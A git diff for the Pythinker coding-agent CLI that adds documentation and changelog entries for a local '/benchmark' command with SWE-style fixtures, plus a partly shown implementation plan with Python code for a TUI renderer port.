diff --git a/.gitignore b/.gitignore index 090d705e..16dd1fbe 100644 --- a/.gitignore +++ b/.gitignore @@ -65,6 +65,7 @@ static/ !.claude/hooks/ !.claude/hooks/** .pythinker/ +.pi-subagents/ .worktrees/ reference-scan/ blackbox/ @@ -85,4 +86,4 @@ htmlcov/ .playwright/ # Cursor debug-mode session logs (machine-local NDJSON) -.cursor/debug-*.log \ No newline at end of file +.cursor/debug-*.log diff --git a/CHANGELOG.md b/CHANGELOG.md index e3ca979d..a65e613c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,52 @@ GitHub Releases page; `0.8.0` is the new starting line. ## Unreleased +- Show active subagent tool work in the pinned TUI status tail instead of + leaving long foreground agent runs on the generic composing spinner. +- Keep the TUI prompt bar visible while an agent turn is starting so the + empty composer does not disappear during lazy-load frames. +- Ported the running agent TUI toward Pi's stable diff-rendered scene model so streamed output keeps the input card visible without prompt jumps. +- Added publishability-focused benchmark comparison planning for multi-model + runs, activity metrics, exportable reports, and safe online source discovery. +- Added an experimental Focus TUI mode for active agent turns, keeping the composer pinned, hiding file activity by default, and rendering live output without terminal scrollback jumps. +- Stream file write/edit activity in a compact live shelf so changed files update in place during agent runs instead of adding noisy terminal rows. +- Hardened `/benchmark` local fixture runs: task `max_steps` now caps the + underlying agent turn, and `/benchmark:swe` requires `--trusted-dataset true` + because trusted local fixture datasets execute verification commands. +- Hardened benchmark and active-skill security edges: SWE verification commands + are shape-validated before execution, benchmark discovery requires explicit + network opt-in, benchmark run IDs avoid clock collisions, runtime overrides + restore after setup failures, and active-skill deactivation persistence + failures are surfaced instead of swallowed. +- Strengthened the bundled `pythinker-core` benchmark suite with edge-case + fixtures for atomic rollback, iterable de-duplication, explicit falsey + metadata values, and safe path joins across absolute, sibling-prefix, parent, + and symlink escapes. + +- Keep the terminal input composer pinned to the bottom during agent runs with a fullscreen prompt mode to reduce TUI flicker. + +- Explicitly invoked skills now remain active across later turns through a + compact reminder, and can be cleared with a named stop request or "normal mode". + +- **No more ghost/duplicate input prompt while the agent works.** After + submitting a prompt, the editable input row is no longer fossilized above the + stream as a second, ghostly prompt. The top border stays visible while the + pre-attach race frame still collapses before the running-prompt delegate + exists, preventing prompt chrome from fossilizing above the spinner. Once the + running frame owns the prompt, the `❯` marker stays visible while only the + editable buffer is hidden until the first scrollback commit, avoiding the + collapsed one-line card under the lazy-load spinner; the full editable row + remains below the live stream so you can still see where to steer. + +- Added native `/benchmark` slash command for deterministic local Pythinker + model evaluation with bundled smoke tasks, replayable artifacts, and branded + markdown reports. +- Expanded `/benchmark start` to use a richer default core suite, isolate file + edits through the active toolset workspace override, and exclude generated + verification caches from changed-file reports. +- Added `/benchmark:swe` for native SWE-style JSONL benchmark tasks that run + through Pythinker's existing model, tool, verification, and artifact path. + ## 0.56.0 (2026-07-02) - **Windows shell UI recovers from mid-session console blanking.** The TUI's diff --git a/README.md b/README.md index 4072429a..6f0aed0e 100644 --- a/README.md +++ b/README.md @@ -126,6 +126,22 @@ Optional web frontend and visualization frontend ship alongside the CLI for rich Swap providers and models per-session: `--model openai/gpt-5.5`, hosted Pythinker models, or your own keys. + + + + + +### πŸ“Š Local Benchmarks + +Run `/benchmark` to execute deterministic local coding tasks through the active Pythinker session, with replayable artifacts and verification reports. + + + + +### πŸ§ͺ SWE-Style Fixtures + +Run trusted local JSONL fixtures with `/benchmark:swe --dataset --trusted-dataset true` when you want SWE-style task inputs without a hosted evaluator. + @@ -618,6 +634,7 @@ Pythinker is a small, extensible runtime β€” not a monolith. Build on it. | 🌊 **Flows** | `/flow:` executes bundled prompt flows | bundled & user-defined | | πŸͺ **Hooks** | Observe or block tool execution; integrate policy or automation | hook events API | | 🧩 **Plugins** | Installable extension packages | `pythinker plugin` | +| πŸ“Š **Benchmarks** | Deterministic local coding tasks with verification reports | `/benchmark`, `src/pythinker_code/benchmark/` | --- diff --git a/docs/.vitepress/config.ts b/docs/.vitepress/config.ts index 8029c875..97da6de5 100644 --- a/docs/.vitepress/config.ts +++ b/docs/.vitepress/config.ts @@ -83,6 +83,7 @@ export default withMermaid(defineConfig({ { text: 'pythinker term Subcommand', link: '/en/reference/pythinker-term' }, { text: 'pythinker dashboard Subcommand', link: '/en/reference/pythinker-dashboard' }, { text: 'pythinker web Subcommand', link: '/en/reference/pythinker-web' }, + { text: 'Pythinker Benchmark', link: '/en/reference/pythinker-benchmark' }, { text: 'Slash Commands', link: '/en/reference/slash-commands' }, { text: 'Keyboard Shortcuts', link: '/en/reference/keyboard' }, ], diff --git a/docs/AGENTS.md b/docs/AGENTS.md index 6115ad89..8081f2e7 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -9,7 +9,7 @@ This repository uses VitePress for the documentation site. Most pages now contai - Guides: getting-started, use-cases, interaction, sessions, ides, integrations - Customization: mcp, plugins, hooks, skills, agents, print-mode, wire-mode - Configuration: config-files, providers, overrides, env-vars, data-locations - - Reference: pythinker-command, pythinker-info, pythinker-acp, pythinker-mcp, pythinker-term, pythinker-dashboard, pythinker-web, slash-commands, keyboard + - Reference: pythinker-command, pythinker-info, pythinker-acp, pythinker-mcp, pythinker-term, pythinker-dashboard, pythinker-web, pythinker-benchmark, slash-commands, keyboard - FAQ: faq - Release notes: changelog, breaking-changes - Navigation and sidebar are defined in `docs/.vitepress/config.ts`. Any new or renamed page must be wired there. diff --git a/docs/en/customization/architecture.md b/docs/en/customization/architecture.md index 5284ab26..fd057aa2 100644 --- a/docs/en/customization/architecture.md +++ b/docs/en/customization/architecture.md @@ -166,6 +166,38 @@ Provider modules in `auth/`: `openai`, `anthropic_direct`, `opencode_go`, `minim follow `/`. Provider-aware code derives the provider from the active model; `/usage` defaults to the active provider, with `/usage all` as the explicit aggregate. +## Benchmark runner + +Native benchmark execution lives under `src/pythinker_code/benchmark/` and is surfaced through +the slash-command registry in `src/pythinker_code/soul/slash.py`. It is a local-fixture harness: +tasks materialize files into a per-run workspace, run through the same `PythinkerSoul.turn` +path as a normal session, then execute a verification command and persist artifacts. + +| Path | Purpose | Key entry points and interfaces | +| --- | --- | --- | +| `src/pythinker_code/benchmark/commands.py` | Slash-command parser and orchestrator for `start`, `estimate`, `list`, `show`, `report`, `export`, `compare`, `discover`, and `swe`. | `dispatch_benchmark`, `BenchmarkArgs`, `benchmark_usage` | +| `src/pythinker_code/benchmark/compare.py` and `export.py` | Publishability warnings and report-row export formatting for model comparisons. | `readiness_warnings`, `render_export` | +| `src/pythinker_code/benchmark/discovery.py` | Allowlisted online source discovery and provisional quiz-fixture JSONL conversion. | `discover_benchmark_sources`, `quiz_fixture_from_discovery` | +| `src/pythinker_code/benchmark/runner.py` | Per-task execution: workspace materialization, work-dir override, temporary task `max_steps` limit, timeout handling, verification, and artifact finalization. | `run_task`, `BenchmarkResult`, `VerificationResult` | +| `src/pythinker_code/benchmark/tasks.py` | Bundled task schema and workspace materialization. | `BenchmarkTask`, `load_task`, `materialize_workspace` | +| `src/pythinker_code/benchmark/suites.py` | Bundled suite loading and ordering. | `load_suite`, `list_suite_names` | +| `src/pythinker_code/benchmark/swe.py` | Trusted local SWE-style JSONL fixture loading. | `load_swe_instances`, `swe_instance_to_task` | +| `src/pythinker_code/benchmark/records.py` and `report.py` | Per-run artifact writing and report rendering. | `BenchmarkRecorder`, `render_run_report`, `render_show` | + +The bundled suite files live in `src/pythinker_code/benchmark/bundled/suites/`; bundled task +definitions live in `src/pythinker_code/benchmark/bundled/tasks/`. The `pythinker-core` suite +targets common agent failure modes: transactional rollback, ordered de-duplication, explicit +`None` versus falsey metadata, and safe path joins. The runner uses the active model provider +from session config; it does not create a separate provider stack. + +`/benchmark:swe` is intentionally labeled SWE-style local fixture support, not full SWE-bench +Docker evaluation. It accepts local JSONL records, rejects unsafe workspace paths, and requires +`--trusted-dataset true` before running dataset-provided verification commands. + +`/benchmark discover` only writes provisional review manifests when `--output` ends in +`.jsonl`; those records are untrusted quiz fixtures with empty workspaces, not runnable +SWE-style local fixtures. + ## Wire and UI frontends | Path | Purpose | Key entry points and interfaces | diff --git a/docs/en/reference/pythinker-benchmark.md b/docs/en/reference/pythinker-benchmark.md new file mode 100644 index 00000000..aac8bd04 --- /dev/null +++ b/docs/en/reference/pythinker-benchmark.md @@ -0,0 +1,194 @@ +# Pythinker Benchmark + +Pythinker Benchmark is the native local-fixture harness for comparing how a configured Pythinker model handles small, deterministic coding tasks. It runs inside the current Pythinker session, uses the active toolset and approval runtime, materializes each task into an isolated workspace, executes the agent turn, then runs the task's verification command and writes replayable artifacts. + +It is designed for repeatable local checks, not hosted leaderboard scoring. SWE-style input is supported as trusted local fixtures; it is not a full SWE-bench Docker runner. + +## Commands + +Run the default core suite: + +```sh +/benchmark start +``` + +Run a single task or named suite: + +```sh +/benchmark start --task core-safe-path-join +/benchmark start --suite pythinker-smoke +``` + +Estimate a run without making model calls: + +```sh +/benchmark estimate --suite pythinker-core +``` + +Inspect available tasks and saved runs: + +```sh +/benchmark list +/benchmark show +/benchmark report --suite pythinker-core +``` + +Compare configured models and export report data: + +```sh +/benchmark compare --models model-a,model-b --suite pythinker-core --repeat 3 +/benchmark export --suite pythinker-core --format csv +``` + +Discover candidate tasks from an allowlisted online source: + +```sh +/benchmark discover --source terminal-bench --difficulty hard --limit 5 --output ./candidate-tasks.jsonl +``` + +Namespaced aliases are available for interactive completion: `/benchmark:start`, `/benchmark:all`, `/benchmark:estimate`, `/benchmark:list`, `/benchmark:show`, `/benchmark:report`, `/benchmark:compare`, and `/benchmark:swe`. There is no `/benchmark:export` or `/benchmark:discover` alias. + +The supported flags are: + +| Flag | Applies to | Behavior | +| --- | --- | --- | +| `--model ` | `start`, `estimate`, `swe` | Uses a configured model instead of the active/default model. | +| `--models ` | `compare` | Runs each selected task for at least two distinct configured models. | +| `--task ` | `start`, `estimate`, `compare` | Runs, estimates, or compares one bundled task. Mutually exclusive with `--suite`. | +| `--suite ` | `start`, `estimate`, `report`, `export`, `compare` | Selects a bundled suite or filters report/export output. | +| `--repeat ` | `start`, `estimate`, `compare`, `swe` | Runs or estimates each selected task multiple times. | +| `--timeout-seconds ` | `start`, `compare`, `swe` | Overrides the task timeout for the agent turn. | +| `--format json\|csv` | `export` | Selects the export format. | +| `--output ` | `start`, `compare`, `show`, `report`, `export`, `swe`; `.jsonl` only for `discover` | Uses a custom benchmark artifact root for run/report/export commands. For `discover`, it only writes a provisional manifest when the path suffix is `.jsonl`. | +| `--dataset ` | `swe` | Loads SWE-style local fixture records from a JSONL file. | +| `--instance ` | `swe` | Runs only one instance from the dataset. | +| `--trusted-dataset true` | `swe` | Required acknowledgement before dataset verification commands can run. | +| `--source ` | `discover` | Selects an allowlisted benchmark source such as `terminal-bench`. | +| `--difficulty ` | `discover` | Filters discovered candidates by difficulty. Defaults to `hard`. | +| `--limit ` | `discover` | Limits discovered candidates. Defaults to `5`. | + +`--max-concurrency` is parsed but must remain `1` in the current implementation. `--judges` is parsed but only `off` is supported. + +## Architecture + +The benchmark integration has four layers: + +1. Slash commands in `src/pythinker_code/soul/slash.py` register `/benchmark` and the namespaced aliases. +2. `src/pythinker_code/benchmark/commands.py` parses arguments, resolves the active model, expands tasks or suites, and dispatches each run. +3. `src/pythinker_code/benchmark/runner.py` prepares the workspace, temporarily applies the task's `max_steps` to the soul loop, overrides the runtime work directory, calls `PythinkerSoul.turn`, runs verification, and restores the previous runtime state in a `finally` block. +4. `src/pythinker_code/benchmark/records.py` and `src/pythinker_code/benchmark/report.py` persist run metadata, traces, summaries, context and Wire slices, and Markdown reports. + +Task and suite definitions are regular bundled JSON files under `src/pythinker_code/benchmark/bundled/`. `src/pythinker_code/benchmark/tasks.py` validates bundled task shape and rejects unsafe workspace paths before files are materialized. + +## Bundled suites + +`pythinker-core` is the default suite. It covers deterministic local coding tasks that expose common agent failure modes: + +- `core-atomic-transfer`: transactional rollback, missing accounts, insufficient funds, and non-positive transfer amounts. +- `core-dedup-order`: ordered de-duplication for lists and generators, including falsey values. +- `core-explicit-none-metadata`: explicit `None` handling without losing valid falsey metadata values. +- `core-safe-path-join`: path traversal defense, absolute-path rejection, sibling-prefix escapes, and symlink escapes. + +`pythinker-smoke` contains smaller tasks for validating the runner itself: + +- `smoke-edit-readme` +- `smoke-fix-python-test` +- `smoke-add-small-function` + +## Task schema + +A bundled task JSON object contains: + +```json +{ + "id": "core-safe-path-join", + "title": "Safe Path Join", + "description": "Reject path traversal while allowing paths inside the root.", + "prompt": "Fix paths.safe_join ...", + "workspace": { + "files": { + "paths.py": "...", + "test_paths.py": "..." + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_paths.py -q" + }, + "limits": { + "timeout_seconds": 120, + "max_steps": 60 + }, + "tags": ["core", "security"] +} +``` + +Workspace paths must be relative, non-empty, and must not contain `..` path segments. Verification type is currently `command`. + +## Publishable comparisons + +Use `/benchmark compare` when comparing configured models: + +```sh +/benchmark compare --models model-a,model-b --suite pythinker-core --repeat 3 +``` + +Export the saved report rows when you need machine-readable results: + +```sh +/benchmark export --suite pythinker-core --format csv +``` + +Reports include publishability warnings. Treat warnings as blockers for public claims, not as lint. Local fixture runs are useful for regression and internal comparison, but they are not SWE-bench Docker evaluations. + +## Online discovery and quiz fixtures + +`/benchmark discover` fetches metadata from allowlisted benchmark sources and writes provisional manifests. It does not execute source-provided commands and does not make discovered tasks trusted: + +```sh +/benchmark discover --source terminal-bench --difficulty hard --limit 5 --output ./candidate-tasks.jsonl +``` + +The `--output` flag writes a manifest only when the path suffix is `.jsonl`. These JSONL records preserve the source URL and are marked `trusted: false`. Online quiz fixture records use deterministic review metadata: + +```json +{ + "verification": { + "type": "answer_contains", + "expected_substrings": ["terminal-bench", "hard"] + }, + "trusted": false, + "workspace": { + "files": {} + } +} +``` + +These manifests are for dataset review and offline conversion first. They are not runnable through `/benchmark:swe`, and `answer_contains` is not executed by the benchmark runner. Convert reviewed tasks into trusted local fixtures with workspace files and a local verification command before running them. + +## SWE-style local fixtures + +`/benchmark:swe` loads newline-delimited JSON records with local workspace files and a verification command. The command is executed on the local machine after the agent turn, so the slash command refuses to run unless `--trusted-dataset true` is present: + +```sh +/benchmark:swe --dataset ./cases.jsonl --trusted-dataset true +``` + +Each record must include `instance_id`, `repo`, `base_commit`, `problem_statement`, `workspace.files`, and `verification.command`. Optional `FAIL_TO_PASS`, `PASS_TO_PASS`, and `limits` fields are folded into the generated local fixture task. + +## Artifacts + +By default, benchmark runs are written under the Pythinker share directory in `benchmarks//`. A custom root can be supplied with `--output `. + +Each run directory contains: + +| File or directory | Contents | +| --- | --- | +| `run.json` | Run metadata: command, model key, provider key, task id, suite name, repeat index, timestamps, and final status. | +| `summary.json` | Runtime summary: duration, step count, tool calls, changed files, token counts, verification status, and exit reason. | +| `report.md` | Human-readable report for the run. | +| `trace.jsonl` | Benchmark event trace, including workspace preparation, model message, and verification result. | +| `workspace/` | The materialized local task workspace after the run. | +| `context.jsonl` and `wire.jsonl` | Slices copied from the active session for replay and debugging. | + +Generated verification caches such as `__pycache__`, `.pytest_cache`, `.ruff_cache`, and `.mypy_cache` are excluded from changed-file summaries. diff --git a/docs/en/reference/slash-commands.md b/docs/en/reference/slash-commands.md index 7b367b50..7df9b1b2 100644 --- a/docs/en/reference/slash-commands.md +++ b/docs/en/reference/slash-commands.md @@ -239,6 +239,34 @@ Show the current context, checkpoint, and compaction status: context tokens, con List the tools available to the agent along with the active permission posture (the permission profile name, whether file and shell mutations are allowed, and each tool's description). Append `audit` (`/tools audit`) for a note on how external MCP/wire/plugin tools are gated in read-only, plan, review, and verify profiles. +## Benchmarks + +### `/benchmark` + +Run deterministic local benchmark tasks through the active Pythinker session. The default suite is `pythinker-core`, which materializes a throwaway workspace, asks the agent to fix the task, runs the task's verification command, and writes replayable artifacts under the benchmark output directory. + +Usage: + +- `/benchmark start [--model ] [--task | --suite ]` +- `/benchmark estimate [--model ] [--task | --suite ]` +- `/benchmark compare --models [--task | --suite ] [--repeat ]` +- `/benchmark list` +- `/benchmark show ` +- `/benchmark report [--suite ]` +- `/benchmark export [--suite ] [--format json|csv] [--output ]` +- `/benchmark discover --source --difficulty hard --limit 5 [--output ]` +- `/benchmark swe --dataset --trusted-dataset true [--instance ]` + +Namespaced aliases are also registered: `/benchmark:start`, `/benchmark:all`, `/benchmark:estimate`, `/benchmark:list`, `/benchmark:show`, `/benchmark:report`, `/benchmark:compare`, and `/benchmark:swe`. `/benchmark export` and `/benchmark discover` do not have namespaced aliases. + +::: warning +`/benchmark:swe` executes verification commands from a local JSONL dataset. Use it only with trusted local fixture datasets and pass `--trusted-dataset true` explicitly. +::: + +`/benchmark discover --output ` writes provisional quiz-fixture JSONL records with `verification.type` set to `answer_contains`, `trusted: false`, and an empty `workspace.files` object. Review and convert them offline before using `/benchmark:swe`. + +See [Pythinker Benchmark](./pythinker-benchmark.md) for task schema, artifact layout, and implementation boundaries. + ## Session management ### `/new` diff --git a/docs/en/release-notes/changelog.md b/docs/en/release-notes/changelog.md index ae129577..d371696e 100644 --- a/docs/en/release-notes/changelog.md +++ b/docs/en/release-notes/changelog.md @@ -17,6 +17,41 @@ GitHub Releases page; `0.8.0` is the new starting line. ## Unreleased +- Added publishability-focused benchmark comparison planning for multi-model + runs, activity metrics, exportable reports, and safe online source discovery. +- Stream file write/edit activity in a compact live shelf so changed files update in place during agent runs instead of adding noisy terminal rows. +- Hardened `/benchmark` local fixture runs: task `max_steps` now caps the + underlying agent turn, and `/benchmark:swe` requires `--trusted-dataset true` + because trusted local fixture datasets execute verification commands. +- Strengthened the bundled `pythinker-core` benchmark suite with edge-case + fixtures for atomic rollback, iterable de-duplication, explicit falsey + metadata values, and safe path joins across absolute, sibling-prefix, parent, + and symlink escapes. + +- Keep the terminal input composer pinned to the bottom during agent runs with a fullscreen prompt mode to reduce TUI flicker. + +- Explicitly invoked skills now remain active across later turns through a + compact reminder, and can be cleared with a named stop request or "normal mode". + +- **No more ghost/duplicate input prompt while the agent works.** After + submitting a prompt, the editable input row is no longer fossilized above the + stream as a second, ghostly prompt. The top border stays visible while the + pre-attach race frame still collapses before the running-prompt delegate + exists, preventing prompt chrome from fossilizing above the spinner. Once the + running frame owns the prompt, the `❯` marker stays visible while only the + editable buffer is hidden until the first scrollback commit, avoiding the + collapsed one-line card under the lazy-load spinner; the full editable row + remains below the live stream so you can still see where to steer. + +- Added native `/benchmark` slash command for deterministic local Pythinker + model evaluation with bundled smoke tasks, replayable artifacts, and branded + markdown reports. +- Expanded `/benchmark start` to use a richer default core suite, isolate file + edits through the active toolset workspace override, and exclude generated + verification caches from changed-file reports. +- Added `/benchmark:swe` for native SWE-style JSONL benchmark tasks that run + through Pythinker's existing model, tool, verification, and artifact path. + ## 0.56.0 (2026-07-02) - **Windows shell UI recovers from mid-session console blanking.** The TUI's diff --git a/docs/superpowers/plans/2026-07-05-full-pi-tui-renderer-port.md b/docs/superpowers/plans/2026-07-05-full-pi-tui-renderer-port.md new file mode 100644 index 00000000..b5c235fd --- /dev/null +++ b/docs/superpowers/plans/2026-07-05-full-pi-tui-renderer-port.md @@ -0,0 +1,720 @@ +# Full Pi TUI Renderer Port Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build a Python-native port of Pi's diffed TUI renderer and wire Pythinker's running agent view through it so streaming output updates smoothly without replacing the bottom input card. + +**Architecture:** Add a tiny renderer layer under `src/pythinker_code/ui/shell/tui/` with component primitives, line diff planning, and a coalesced scheduler. Then compose Pythinker's existing live-view output and prompt-card chrome into one stable scene used by the running prompt path. + +**Tech Stack:** Python 3.12+, prompt_toolkit Application invalidation, Rich-rendered text already produced by Pythinker, no new dependencies. + +## Global Constraints + +- No new third-party dependency. +- No Node runtime or vendored TypeScript package. +- Preserve the current Pythinker visual design unless a change is required for stable streaming. +- The prompt/input card stays visible during agent runs. +- Avoid unrelated focus-mode/sidebar changes. +- Use `uv` commands under the `pythinker` conda environment for verification. +- Add a `CHANGELOG.md` `## Unreleased` bullet before opening any PR that touches shipped code. + +--- + +## File Structure + +- Create `src/pythinker_code/ui/shell/tui/__init__.py`: public exports for the small renderer package. +- Create `src/pythinker_code/ui/shell/tui/components.py`: `Component`, `Text`, `Spacer`, `Container`, `Box` primitives. +- Create `src/pythinker_code/ui/shell/tui/diff.py`: pure line-diff planner and ANSI synchronized-output wrapper. +- Create `src/pythinker_code/ui/shell/tui/scheduler.py`: coalesced render-request helper for prompt_toolkit invalidation. +- Create `src/pythinker_code/ui/shell/tui/scene.py`: running-agent scene composition from existing live-view/prompt outputs. +- Modify `src/pythinker_code/ui/shell/prompt.py`: delegate running prompt body/card rendering through the scene while keeping existing key/input behavior. +- Modify `src/pythinker_code/ui/shell/visualize/_interactive.py`: expose stable stream/body state needed by the scene and keep chrome always visible. +- Create `tests/ui_and_conv/test_tui_renderer.py`: primitive, diff, scheduler, and scene unit tests. +- Extend `tests/ui_and_conv/test_visualize_running_prompt.py`: regressions for prompt-card visibility through scene-rendered running frames. +- Extend `tests/e2e/test_shell_pty_prompt_layout_e2e.py`: PTY smoke coverage for no duplicated/missing prompt marker while streaming. +- Modify `CHANGELOG.md`: one Unreleased bullet for the renderer port. + +--- + +### Task 1: Renderer component primitives + +**Files:** +- Create: `src/pythinker_code/ui/shell/tui/__init__.py` +- Create: `src/pythinker_code/ui/shell/tui/components.py` +- Test: `tests/ui_and_conv/test_tui_renderer.py` + +**Interfaces:** +- Produces: `Component.render(width: int) -> list[str]`, `Component.invalidate() -> None`, `Text`, `Spacer`, `Container`, `Box`. +- Later tasks consume these classes for scene composition. + +- [ ] **Step 1: Write failing component tests** + +Add to `tests/ui_and_conv/test_tui_renderer.py`: + +```python +from pythinker_code.ui.shell.tui import Box, Container, Spacer, Text + + +def test_text_wraps_and_pads_to_width() -> None: + text = Text("hello world", padding_x=1) + + assert text.render(8) == [" hello ", " world "] + + +def test_spacer_renders_blank_lines() -> None: + assert Spacer(2).render(5) == [" ", " "] + + +def test_container_concatenates_children() -> None: + root = Container([Text("one"), Spacer(1), Text("two")]) + + assert root.render(6) == ["one ", " ", "two "] + + +def test_box_applies_padding_and_background_function() -> None: + box = Box(Text("run"), padding_x=1, padding_y=1, style=lambda value: f"<{value}>") + + assert box.render(7) == ["< >", "< run >", "< >"] +``` + +- [ ] **Step 2: Run tests to verify failure** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_tui_renderer.py -q +``` + +Expected: FAIL with `ModuleNotFoundError: No module named 'pythinker_code.ui.shell.tui'`. + +- [ ] **Step 3: Implement minimal primitives** + +Create `src/pythinker_code/ui/shell/tui/components.py`: + +```python +from __future__ import annotations + +from collections.abc import Callable, Iterable +from dataclasses import dataclass, field +from typing import Protocol + +from pythinker_code.ui.shell.tui.width import pad_line, wrap_plain_text + + +class Component(Protocol): + def render(self, width: int) -> list[str]: ... + + def invalidate(self) -> None: ... + + +@dataclass +class Text: + value: str + padding_x: int = 0 + padding_y: int = 0 + + def invalidate(self) -> None: + return None + + def render(self, width: int) -> list[str]: + content_width = max(1, width - self.padding_x * 2) + margin = " " * self.padding_x + lines = [pad_line(f"{margin}{line}{margin}", width) for line in wrap_plain_text(self.value, content_width)] + blank = " " * width + return [blank] * self.padding_y + lines + [blank] * self.padding_y + + +@dataclass +class Spacer: + height: int = 1 + + def invalidate(self) -> None: + return None + + def render(self, width: int) -> list[str]: + return [" " * width for _ in range(max(0, self.height))] + + +@dataclass +class Container: + children: list[Component] = field(default_factory=list) + + def add(self, child: Component) -> None: + self.children.append(child) + + def clear(self) -> None: + self.children.clear() + + def invalidate(self) -> None: + for child in self.children: + child.invalidate() + + def render(self, width: int) -> list[str]: + lines: list[str] = [] + for child in self.children: + lines.extend(child.render(width)) + return lines + + +@dataclass +class Box: + child: Component + padding_x: int = 0 + padding_y: int = 0 + style: Callable[[str], str] | None = None + + def invalidate(self) -> None: + self.child.invalidate() + + def render(self, width: int) -> list[str]: + inner_width = max(1, width - self.padding_x * 2) + blank = " " * width + lines = [blank] * self.padding_y + margin = " " * self.padding_x + for line in self.child.render(inner_width): + lines.append(pad_line(f"{margin}{line}{margin}", width)) + lines.extend([blank] * self.padding_y) + if self.style is not None: + return [self.style(line) for line in lines] + return lines +``` + +Create `src/pythinker_code/ui/shell/tui/width.py`: + +```python +from __future__ import annotations + +import textwrap + + +def pad_line(value: str, width: int) -> str: + return value[:width].ljust(width) + + +def wrap_plain_text(value: str, width: int) -> list[str]: + if not value: + return [""] + wrapped: list[str] = [] + for raw_line in value.splitlines() or [value]: + wrapped.extend(textwrap.wrap(raw_line, width=width, replace_whitespace=False) or [""]) + return wrapped +``` + +Create `src/pythinker_code/ui/shell/tui/__init__.py`: + +```python +from pythinker_code.ui.shell.tui.components import Box, Component, Container, Spacer, Text + +__all__ = ["Box", "Component", "Container", "Spacer", "Text"] +``` + +- [ ] **Step 4: Run component tests** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_tui_renderer.py -q +``` + +Expected: PASS for four component tests. + +- [ ] **Step 5: Commit** + +```bash +git add src/pythinker_code/ui/shell/tui tests/ui_and_conv/test_tui_renderer.py +git commit -m "feat(tui): add renderer primitives" +``` + +--- + +### Task 2: Line diff renderer and synchronized output wrapper + +**Files:** +- Create: `src/pythinker_code/ui/shell/tui/diff.py` +- Modify: `src/pythinker_code/ui/shell/tui/__init__.py` +- Test: `tests/ui_and_conv/test_tui_renderer.py` + +**Interfaces:** +- Produces: `LinePatch(start: int, delete: int, insert: tuple[str, ...])`, `plan_line_diff(old: Sequence[str], new: Sequence[str]) -> list[LinePatch]`, `synchronized_output(payload: str) -> str`. +- Later tasks use the planner to prove only changed regions are emitted. + +- [ ] **Step 1: Add failing diff tests** + +Append: + +```python +from pythinker_code.ui.shell.tui import LinePatch, plan_line_diff, synchronized_output + + +def test_plan_line_diff_replaces_changed_middle_run() -> None: + old = ["top", "old", "same"] + new = ["top", "new", "same"] + + assert plan_line_diff(old, new) == [LinePatch(start=1, delete=1, insert=("new",))] + + +def test_plan_line_diff_handles_growth_and_shrink() -> None: + assert plan_line_diff(["a"], ["a", "b"]) == [LinePatch(start=1, delete=0, insert=("b",))] + assert plan_line_diff(["a", "b"], ["a"]) == [LinePatch(start=1, delete=1, insert=())] + + +def test_synchronized_output_wraps_payload() -> None: + assert synchronized_output("abc") == "\x1b[?2026habc\x1b[?2026l" +``` + +- [ ] **Step 2: Run tests to verify failure** + +Run same `uv run pytest tests/ui_and_conv/test_tui_renderer.py -q`. + +Expected: FAIL importing `LinePatch`. + +- [ ] **Step 3: Implement diff planner** + +Create `src/pythinker_code/ui/shell/tui/diff.py`: + +```python +from __future__ import annotations + +from dataclasses import dataclass +from difflib import SequenceMatcher +from collections.abc import Sequence + +SYNC_OUTPUT_START = "\x1b[?2026h" +SYNC_OUTPUT_END = "\x1b[?2026l" + + +@dataclass(frozen=True) +class LinePatch: + start: int + delete: int + insert: tuple[str, ...] + + +def plan_line_diff(old: Sequence[str], new: Sequence[str]) -> list[LinePatch]: + patches: list[LinePatch] = [] + matcher = SequenceMatcher(a=list(old), b=list(new), autojunk=False) + for tag, old_start, old_end, new_start, new_end in matcher.get_opcodes(): + if tag == "equal": + continue + patches.append( + LinePatch( + start=old_start, + delete=old_end - old_start, + insert=tuple(new[new_start:new_end]), + ) + ) + return patches + + +def synchronized_output(payload: str) -> str: + if not payload: + return payload + return f"{SYNC_OUTPUT_START}{payload}{SYNC_OUTPUT_END}" +``` + +Update `src/pythinker_code/ui/shell/tui/__init__.py`: + +```python +from pythinker_code.ui.shell.tui.components import Box, Component, Container, Spacer, Text +from pythinker_code.ui.shell.tui.diff import LinePatch, plan_line_diff, synchronized_output + +__all__ = [ + "Box", + "Component", + "Container", + "LinePatch", + "Spacer", + "Text", + "plan_line_diff", + "synchronized_output", +] +``` + +- [ ] **Step 4: Run diff tests** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_tui_renderer.py -q +``` + +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add src/pythinker_code/ui/shell/tui tests/ui_and_conv/test_tui_renderer.py +git commit -m "feat(tui): add line diff planner" +``` + +--- + +### Task 3: Coalesced render scheduler + +**Files:** +- Create: `src/pythinker_code/ui/shell/tui/scheduler.py` +- Modify: `src/pythinker_code/ui/shell/tui/__init__.py` +- Test: `tests/ui_and_conv/test_tui_renderer.py` + +**Interfaces:** +- Produces: `RenderScheduler(request_invalidate: Callable[[], None], min_interval_seconds: float = 1 / 30)` with `request_render(now: float | None = None) -> bool`. +- Later tasks use it to coalesce token-stream invalidations. + +- [ ] **Step 1: Add failing scheduler tests** + +Append: + +```python +from pythinker_code.ui.shell.tui import RenderScheduler + + +def test_render_scheduler_coalesces_fast_requests() -> None: + calls: list[str] = [] + scheduler = RenderScheduler(lambda: calls.append("invalidate"), min_interval_seconds=0.1) + + assert scheduler.request_render(now=1.0) is True + assert scheduler.request_render(now=1.05) is False + assert scheduler.request_render(now=1.11) is True + assert calls == ["invalidate", "invalidate"] +``` + +- [ ] **Step 2: Run tests to verify failure** + +Run `uv run pytest tests/ui_and_conv/test_tui_renderer.py -q`. + +Expected: FAIL importing `RenderScheduler`. + +- [ ] **Step 3: Implement scheduler** + +Create `src/pythinker_code/ui/shell/tui/scheduler.py`: + +```python +from __future__ import annotations + +import time +from collections.abc import Callable +from dataclasses import dataclass + + +@dataclass +class 